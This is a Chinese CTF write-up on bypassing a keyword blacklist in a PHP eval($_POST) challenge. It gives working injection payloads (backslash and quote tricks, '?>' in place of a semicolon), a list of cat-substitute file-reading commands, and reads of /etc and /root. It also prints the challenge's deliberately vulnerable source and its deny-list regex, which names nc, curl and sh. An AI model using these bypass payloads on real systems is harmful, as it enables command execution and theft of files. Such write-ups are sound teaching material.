[CTF]命令执行绕过
背景
一个黑页
eval($_POST['xxx'])
其实扫备份文件是可以扫到的 但是做的时候没扫 直接做了
尝试
存在部分关键词过滤,其中正常应该使用POST:a=system("ls");
但此处;被过滤
发现可以使用?>,即a=system("ls") ?>
尝试获取源码
先看下文件夹下有什么吧
发现$、ls、|、&被过滤
解决方法
system("l\s")?>
system('l""s')?>
或者不用system PHP自己也有函数
var_dump(scandir('.'))?>
尝试读取文件,此处.php、cat这些都被过滤
可用的
head -n 500 file //行数
head -c 500 file //字节
tail同理
od -c:ASCII字符或反斜杠序列(如\n)
system('o\d -A d -c index.p\hp')?>
这里head不知道有什么限制 最多只能读取511行,其他读取命令
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep
在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:
grep test *file
strings
.swp文件恢复
vim -r xxx.xx.swp
任意文件读取
这里&、|都被过滤 不能执行两条命令
通过ls -a /dir 可以进行任意文件读取
system("l\s -a /etc")?>
查找包含字符串的文件
system("grep -r 'fla' /root ")?>
<?php
if(!preg_match("/antsword/i",$_SERVER['HTTP_USER_AGENT'])){
if(isset($_POST['shana'])){
$a = $_POST['shana'];
if(preg_match("/flag|cat|;|more|less|\\$|\\|\*|tac|nl|od|head|&|<|eval|`|{|assert|]|nc|curl|include|file|req|~|\^|=|:|%|sh|call|array|php|assert|find|ls/i",$a)){
echo '<script>alert("还想读我的flag?臭弟弟!");window.location.href="index.php"</script>';
}
else{
ob_start(function($data){
if (strpos($data,'JUST{') !==false)
diei('<script>alert("还想读我的flag?臭弟弟!");window.location.href="index.php"</script>');
return false;
});
eval($a);
echo '<script>window.location.href="index.php"</script>';
}
}
}
?>
Minds overflow